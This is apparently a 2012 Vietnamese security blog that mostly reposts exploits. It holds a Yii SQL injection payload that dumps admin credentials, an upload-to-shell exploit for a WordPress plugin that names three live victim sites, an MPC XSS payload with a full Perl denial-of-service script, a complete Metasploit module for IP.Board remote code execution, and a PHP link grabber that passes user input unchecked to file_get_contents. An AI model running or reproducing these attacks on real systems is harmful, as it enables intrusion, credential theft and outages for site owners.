hacker va bao mat

Thursday, November 22, 2012

 <?php
if(isset($_GET['url'])){
    $source = file_get_contents($_GET['url']);// Get source html của link mediafire
    $dl  = explode('kNO = "',$source);// Tách chuỗi để lấy link
    $dl  = explode('";',$dl[1]); // Kết thúc của chuỗi
    header('location: '.$dl[0]); // Dùng hàm header để chuyển tới link download trực tiếp của mediafire
}
?>

Share code get link download MediaFire

By: MIN Software on: 3:18 PM

I/ Giới thiệu:
Tiếp theo bộ tài liệu được share đợt 1. Hôm nay mình sẽ share cho các bạn bộ tài liệu đợt 2 này.
II/ Nội dung:
Nội dung của tài liệu bao gồm: các đề thi mẫu về môn Linux, các đồ án của chuyên ngành mạng (bao gồm file word, slide báo cáo và demo), 1 cuốn ebook về lắp ráp laptop, và cuối cùng là các bài lab về quản trị mạng windows server 2k8.
Một vài hình ảnh trong bộ tài liệu này
[Hình: 1-3.jpg]

Các bài lab quản trị mạng 2k8 (tiếp theo của đợt 1 là về 2k3 )
[Hình: 2-2.jpg]

Đồ án chuyên ngành mạng (Trong này có đồ án "OpenVPN - Linux là do mình làm ...^^")
[Hình: 3-2.jpg]

Giáo trình lắp ráp máy tính laptop
[Hình: 4-2.jpg]

III/ Link download
Link đợt 1: http://junookyo.blogspot.com/2012/11/share-tai-lieu-chuyen-nganh-mang-it.html
Link đợt 2:http://www.fshare.vn/folder/T8C89AZHTT/
Password để download: longbaoitc
==>Các bạn download rồi dùng phần mềm "HJ Split để nối file nhé"

Share tài liệu chuyên ngành Mạng - IT - Part 2

By: MIN Software on: 3:16 PM

Tuesday, November 20, 2012

# Exploit Title: Yii Framework - Search SQL Injection Vulnerability
# Google Dork: No Dork
# Date: 20/11/2012
# Exploit Author: Juno_okyo
# Vendor Homepage: http://www.yiiframework.com/
# Software Link: http://www.yiiframework.com/download/
# Version: 1.1.8 (maybe another version)
#
##############################
################################################################
Vulnerability:
##############################################################################################

SQL Injection via search form. You can query to get some info about administrator account and something...

##############################################################################################
Exploitation:
##############################################################################################

' UNION SELECT 1,group_concat(username,0x7c,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 fRom user-- -

##############################################################################################
Ex:
##############################################################################################

1. Put a query in search form with quotes: http://i.imgur.com/8OShy.png
2. It will display an error message: http://i.imgur.com/b8Tbo.png
3. Now, get some info with SQL Injection: http://i.imgur.com/qLjc0.png
4. Result: http://i.imgur.com/dgCRU.png

##############################################################################################
More Details:
##############################################################################################

Website: http://junookyo.blogspot.com/
About Exploit: http://junookyo.blogspot.com/2012/11/yii-framework-search-sql-injection.html

##############################################################################################
Great thanks to Juno_okyo and James - J2TeaM
##############################################################################################

Published (21/11/2012):
[+] http://www.exploit-db.com/exploits/22877
[+] http://www.1337day.com/exploit/19778
[+] http://cxsecurity.com/issue/WLB-2012110151

Yii Framework - Search SQL Injection Vulnerability

By: MIN Software on: 7:08 AM

Monday, November 19, 2012

WordPress WP E-Commerce 3.8.9 SQL Injection / Cross Site Scripting
Software: WP e-Commerce
Software Language: PHP
Version: 3.8.9 and below
Vendor Status: Vendor contacted
Release Date: 2012-11-12
Risk: High
 
 
 
1. General Overview
===================
During the security audit of WP E-Commerce plugin for WordPress CMS,
multiple vulnerabilities were discovered using DefenseCode ThunderScan
PHP web application source code security analysis platform.
More information about ThunderScan PHP is available at URL:
http://www.defensecode.com/subcategory/thunderscan-8
 
Detailed report for each vulnerability can be found in the following PDF
report:
http://www.defensecode.com/public/wp-e-commerce_security_audit_final_report.pdf
 
Report has been generated by ThunderScan PHP Web Application Source Code
Security Analysis.
 
 
2. Software Overview
===================
WP e-Commerce is a popular e-commerce plugin for WordPress. Users can
use it to to sell products, downloads or services online. It has more
than 2 Million downloads on wordpress.org.
 
Homepage:
http://wordpress.org/extend/plugins/wp-e-commerce/
http://getshopped.org/
 
 
3. Brief Vulnerability Description
==================================
During the security analysis, ThunderScan PHP discovered multiple SQL
Injection and Cross Site Scripting vulnerabilities in WP e-Commerce plugin.
 
3.1. SQL injection
File: wp-e-commerce\wpsc-includes\purchaselogs.class.php
Function: get_results($sql)
Variable: $_POST['view_purchlogs_by_status']
Called from (function line file):
get_purchlogs() 699 wp-e-commerce\wpsc-core\wpsc-deprecated.php
 
3.2 SQL injection
File: wp-e-commerce\wpsc-includes\purchaselogs.class.php
Function: get_results( $sql )
Variable: $_POST['view_purchlogs_by_status']
Called from (function line file):
get_purchlogs() 681 wp-e-commerce\wpsc-core\wpsc-deprecated.php
 
3.3 SQL injection
File: wp-e-commerce\wpsc-includes\purchaselogs.class.php
Function: get_results( $sql )
Variable: $_GET['view_purchlogs_by_status']
Called from (function line file):
get_purchlogs() 525 wp-e-commerce\wpsc-includes\purchaselogs.class.php
 
3.4 SQL injection
File: wp-e-commerce\wpsc-includes\purchaselogs.class.php
Function:  get_results( $sql )
Variable: $_GET['view_purchlogs_by_status']
Called from (function line file):
get_purchlogs() 543 wp-e-commerce\wpsc-includes\purchaselogs.class.php
 
3.5 SQL injection
File: wp-e-commerce\wpsc-includes\purchaselogs.class.php
Function:  get_results( $sql )
Variable: $_GET['view_purchlogs_by_status']
Called from (function line file):
get_purchlogs() 534 wp-e-commerce\wpsc-includes\purchaselogs.class.php
 
3.6 SQL injection
File: wp-e-commerce\wpsc-includes\purchaselogs.class.php
Function:  get_results( $sql )
Variable: $_POST['view_purchlogs_by_status']
Called from (function line file):
get_purchlogs() 689 wp-e-commerce\wpsc-core\wpsc-deprecated.php
 
3.7 Cross-Site Scripting
File: wp-e-commerce\wpsc-admin\includes\purchase-log-list-ta
ble-class.php
Function: echo ('<input type="hidden" name="m" value="' . $m . '" />')
Variable: $_REQUEST['m']
 
 
4. Solution
===========
Vendor resolved security issues in latest WP e-Commerce release. All
users are strongly advised to update WP e-Commerce plugin to the latest
available version 3.8.9.1.
 
# 1337day.com [2012-11-19]

WordPress WP E-Commerce 3.8.9 SQL Injection / Cross Site Scripting

By: MIN Software on: 7:25 AM

___________.__             _________                             _________                     
\__    ___/|  |__   ____   \_   ___ \______  ______  _  ________ \_   ___ \______  ______  _  __
|    |   |  |  \_/ __ \  /    \  \|_  __ \/  _ \ \/ \/ /  ___/ /    \  \|_  __ \/ __ \ \/ \/ /
|    |   |   Y  \  ___/  \     \___|  | \(  <_> )     /\___ \  \     \___|  | \|  ___/\     /
|____|   |___|  /\___  >  \______  /__|   \____/ \/\_//____  >  \______  /__|   \___  >\/\_/ 
\/     \/          \/                        \/          \/           \/       
 
INDO-PENDENT HACKER
http://thecrowscrew.org
#################################################################################################
Exploit Title: Wordpress Plugins Spotlight Your Upload Vulnerability
Google Dork: inurl:"/wp-content/plugins/spotlightyour/"
Date: 18/11/2012
Locations: Banjarmasin, Indonesia
Author: ovanIsmycode & walangkaji
Contact: rootx@thecrowscrew.org & walangkaji@thecrowscrew.org
Software Link: http://www.spotlightyour.com
#################################################################################################
 
[+] POC
 
Exp. Target :
- http://domain.com/wp-content/plugins/spotlightyour/
 
Exploit :
- /monetize/upload/index.php
 
Shell Access :
- http://domain.com/wp-content/uploads/[year]/[month]/[search your shell].php
 
Ending :
- Fraksi Bejoug a.k.a Kalam Saheru
Saparatoss Blank Blank
awkwkwkwk :v
 
http://beautyexo.com/wp-content/plugins/spotlightyour/monetize/upload/
 
http://www.promogotion.com/wp-content/plugins/spotlightyour/monetize/upload/
 
http://shopping.businessminister.com/wp-content/plugins/spotlightyour/monetize/upload/
 
#################################################################################################
 
Spec!4L th4nk'5 to :
MsconfiX, Catalyst71, Gabby, din_muh, don_ojan, DendyIsMe, kit4r0, 777r, ph_ovtl4w, adecakep7,
penjamoen, -=[The Crows Crew]=-, Indonesian Hacker
 
thecrowscrew.org, hacker-newbie.org, yogyacarderlink.web.id, devilzc0de.org
 
########################################[end]####################################################
 
# 1337day.com [2012-11-19]

Wordpress Plugins Spotlight Your Upload Vulnerability

By: MIN Software on: 7:23 AM

==========================================================================================
MPC (Media Player Classic) WebServer Multiple Vulnerabilities
==========================================================================================
 
:------------------------------------------------------------------------------------------------------------------------------------:
: # Exploit Title : MPC (Media Player Classic) WebServer Multiple Vulnerabilities
: # Date : 16 November 2012
: # Author : X-Cisadane
: # Download : http://mpc-hc.sourceforge.net/downloads/ OR Download K-Lite Mega Codec Pack http://codecguide.com/download_mega.htm
: # Version : ALL
: # Category : Web Applications
: # Vulnerability : XSS Vulnerability and Remote Denial of Service Vulnerability
: # Tested On : Mozilla Firefox 16.0.2 (Windows XP SP 3 32-Bit English)
: # Greetz to : X-Code, Borneo Crew, Depok Cyber, Explore Crew, CodeNesia, Bogor-H, Jakarta Anonymous Club, Jabar Cyber, Winda Utari
:------------------------------------------------------------------------------------------------------------------------------------:
WHAT IS MPC WebServer?
======================
Media Player Classic (MPC) is a compact free software media player for Microsoft Windows. The application mimics the look and feel of the old,
light-weight Windows Media Player 6.4 but uses a completely different codebase, integrating most options and features found in modern media players.
Media Player Classic (MPC) WebServer is part of Media Player Classic features that is a web based Remote control. You can controlling Media Player Classic from your Web Browser.
 
 
HOW TO ACTIVATE MPC WebServer?
==============================
Make sure you have installed Media Player Classic or K-Lite Mega Codec Pack. Run your Media Player Classic, click 'View' Menu from the Menu Bar then choose 'Options...'.
In the Options Window, choose Web Interface. Enable “Listen on port”, Disable “Allow access from localhost only”.
You can change the port it listens on but that’s optional (default is 13579). Apply and click 'Launch in web browser...' Or Access it from http://localhost:13579/ OR http://IP:13579/.
PIC MPC WebServer : http://i48.tinypic.com/33xfomg.png
 
 
PROOF OF CONCEPT
=================
 
[1] Non Persistent XSS (Tested On Mozilla Firefox 16.0.2)
 
Vulnerable URL : http://IP:Port/browser.html?path=[XSS]
Example : http://localhost:13579/browser.html?path=<script>alert("XSS")</script>
 
PIC XSS : http://i45.tinypic.com/4j3uz4.png
 
[2] Remote Denial of Service (Using Perl Script)
C:\xampp\perl\bin>perl exploitmpc.pl 127.0.0.1 13579
*=============================================================*
* ---   MPC WebServer Remote Denial Of Service             ---*
* ---               By : X-Cisadane                        ---*
* ---  ------------------------------------------------    ---*
* ---  Usage  : perl exploitmpc.pl ( Victim IP ) ( Port )  ---*
* ---                                                      ---*
*=============================================================*
 
Ex : perl exploitmpc.pl 127.0.0.1 13579
Default Port for MPC Web Server is 13579
Please Wait Till Buffer is Done
Attacking the Target, Please Wait Till Pwned
 
PIC Remote DoS : http://i46.tinypic.com/15egs5j.png
 
-------------------------------- [ Code ] --------------------------------------------
#!/usr/bin/perl
use IO::Socket::INET;
use Getopt::Std;
use Socket;
my $SOCKET = "";
$loop = 1000;
$ip = $ARGV[0];
$port = $ARGV[1];
if (! defined $ARGV[0])
{
print "\t*=============================================================*\n";
print "\t* ---    MPC WebServer Remote Denial Of Service             ---*\n";
print "\t* ---          By : X-Cisadane                        ---*\n";
print "\t* ---  ------------------------------------------------    ---*\n";
print "\t* ---  Usage  : perl exploitmpc.pl ( Victim IP ) ( Port )  ---*\n";
print "\t* ---                                                      ---*\n";
print "\t*=============================================================*\n";
print "\n";
print " Ex : perl exploitmpc.pl 127.0.0.1 13579\n";
print "Default Port for MPC Web Server is 13579\n";
 
exit;
}
 
print "\t*=============================================================*\n";
print "\t* ---    MPC WebServer Remote Denial Of Service             ---*\n";
print "\t* ---          By : X-Cisadane                        ---*\n";
print "\t* ---  ------------------------------------------------    ---*\n";
print "\t* ---  Usage  : perl exploitmpc.pl ( Victim IP ) ( Port )  ---*\n";
print "\t* ---                                                      ---*\n";
print "\t*=============================================================*\n";
print "\n";
print " Ex : perl exploitmpc.pl 127.0.0.1 13579\n";
print "Default Port for MPC Web Server is 13579\n";
print "\n";
print " Please Wait Till The Buffer is Done\n";
my $b1 = "\x41" x 100000000;
 
$iaddr = inet_aton($ip) || die "Unknown host: $ip\n";
$paddr = sockaddr_in($port, $iaddr) || die "getprotobyname: $!\n";
$proto = getprotobyname('tcp') || die "getprotobyname: $!\n";
 
print "\n";
print " Attacking the Target, Please Wait Till Pwned \n";
 
for ($j=1;$j<$loop;$j++) {
socket(SOCKET,PF_INET,SOCK_STREAM, $proto) || die "socket: $!\n";
connect(SOCKET,$paddr) || die "Connection Failed: $! .........Disconnected!\n";
 
$DoS=IO::Socket::INET->new("$ip:$port") or die;
send(SOCKET,$b1, 0) || die "failure sent: $!\n";
 
print $DoS "stor $b1\n";
print $DoS "QUIT\n";
 
close $DoS;
close SOCKET;
}
# exit :
 
# 1337day.com [2012-11-19]

Media Player Classic XSS / Denial Of Service

By: MIN Software on: 7:18 AM

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::PhpEXE
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Invision IP.Board <= 3.3.4 unserialize() PHP Code Execution',
            'Description'    => %q{
                    This module exploits a php unserialize() vulnerability in Invision IP.Board
                <= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary
                code under the context of the webserver user.
 
                The dangerous unserialize() exists in the '/admin/sources/base/core.php' script,
                which is called with user controlled data from the cookie. The exploit abuses the
                __destruct() method from the dbMain class to write arbitrary PHP code to a file on
                the Invision IP.Board web directory.
 
                The exploit has been tested successfully on Invision IP.Board 3.3.4.
            },
            'Author'    =>
                [
                    'EgiX',         # Vulnerability discovery and PoC
                    'juan vazquez', # Metasploit module
                    'sinn3r'        # PhpEXE tekniq & check() method
                ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'CVE', '2012-5692' ],
                    [ 'OSVDB', '86702' ],
                    [ 'BID', '56288' ],
                    [ 'EDB', '22398' ],
                    [ 'URL', 'http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-critical-security-update/' ]
                ],
            'Privileged'     => false,
            'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
            'Payload'        =>
                {
                    'Space'       => 8000, #Apache's limit for GET
                    'DisableNops' => true
                },
            'Targets'        => [ ['Invision IP.Board 3.3.4', {}] ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Oct 25 2012'
            ))
 
        register_options(
            [
                OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"])
            ], self.class)
    end
 
    def base
        base = target_uri.path
        base << '/' if base[-1, 1] != '/'
        return base
    end
 
    def check
        res = send_request_raw({'uri'=>"#{base}index.php"})
        return Exploit::CheckCode::Unknown if not res
 
        version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten
        version = version.map {|e| e.to_i}
 
        # We only want major version 3
        # This version checking is based on OSVDB's info
        return Exploit::CheckCode::Safe if version[0] != 3
 
        case version[1]
        when 1
            return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
        when 2
            return Exploit::CheckCode::Vulnerable if version[2].between?(0, 3)
        when 3
            return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
        end
 
        return Exploit::CheckCode::Safe
    end
 
    def on_new_session(client)
        if client.type == "meterpreter"
            client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
            begin
                print_warning("#{@peer} - Deleting #{@upload_php}")
                client.fs.file.rm(@upload_php)
                print_good("#{@peer} - #{@upload_php} removed to stay ninja")
            rescue
                print_error("#{@peer} - Unable to remove #{f}")
            end
        end
    end
 
    def exploit
        @upload_php = rand_text_alpha(rand(4) + 4) + ".php"
        @peer = "#{rhost}:#{rport}"
 
        # get_write_exec_payload uses a function, which limits our ability to support
        # Linux payloads, because that requires a space:
        #   function my_cmd
        # becomes:
        #   functionmy_cmd #Causes parsing error
        # We'll have to address that in the mixin, and then come back to this module
        # again later.
        php_payload = get_write_exec_payload(:unlink_self=>true)
        php_payload = php_payload.gsub(/^\<\?php/, '<?')
        php_payload = php_payload.gsub(/ /,'')
 
        db_driver_mysql = "a:1:{i:0;O:15:\"db_driver_mysql\":1:{s:3:\"obj\";a:2:{s:13:\"use_debug_log\";i:1;s:9:\"debug_log\";s:#{"cache/#{@upload_php}".length}:\"cache/#{@upload_php}\";}}}"
 
        print_status("#{@peer} - Exploiting the unserialize() to upload PHP code")
 
        res = send_request_cgi(
        {
            'uri' => "#{base}index.php?#{php_payload}",
            'method' => 'GET',
            'cookie' => "member_id=#{Rex::Text.uri_encode(db_driver_mysql)}"
        })
 
        if not res or res.code != 200
            print_error("#{@peer} - Exploit failed: #{res.code}")
            return
        end
 
        print_status("#{@peer} - Executing the payload #{@upload_php}")
 
        res = send_request_raw({'uri' => "#{base}cache/#{@upload_php}"})
 
        if res
            print_error("#{@peer} - Payload execution failed: #{res.code}")
            return
        end
 
    end
end

Invision IP.Board <= 3.3.4 unserialize() PHP Code Execution

By: MIN Software on: 7:12 AM

hacker va bao mat

Thursday, November 22, 2012

Share code get link download MediaFire

Share tài liệu chuyên ngành Mạng - IT - Part 2

Tuesday, November 20, 2012

Yii Framework - Search SQL Injection Vulnerability

Monday, November 19, 2012

WordPress WP E-Commerce 3.8.9 SQL Injection / Cross Site Scripting

Wordpress Plugins Spotlight Your Upload Vulnerability

Media Player Classic XSS / Denial Of Service

Invision IP.Board <= 3.3.4 unserialize() PHP Code Execution

BÌNH LUẬN

Follow on FaceBook

Popular Posts

Trending Video

Thống Kê Online

BÀI ĐĂNG

Nhãn

Translate

Follow us

About Me

Year

About BlogTube

Popular Posts

Labels

Thursday, November 22, 2012

Tuesday, November 20, 2012

Monday, November 19, 2012

BÌNH LUẬN

Follow on FaceBook

Popular Posts

Trending Video

Thống Kê Online

BÀI ĐĂNG

Nhãn

Translate

Follow us

About Me

Year

Our Team Members

About BlogTube

Popular Posts

Labels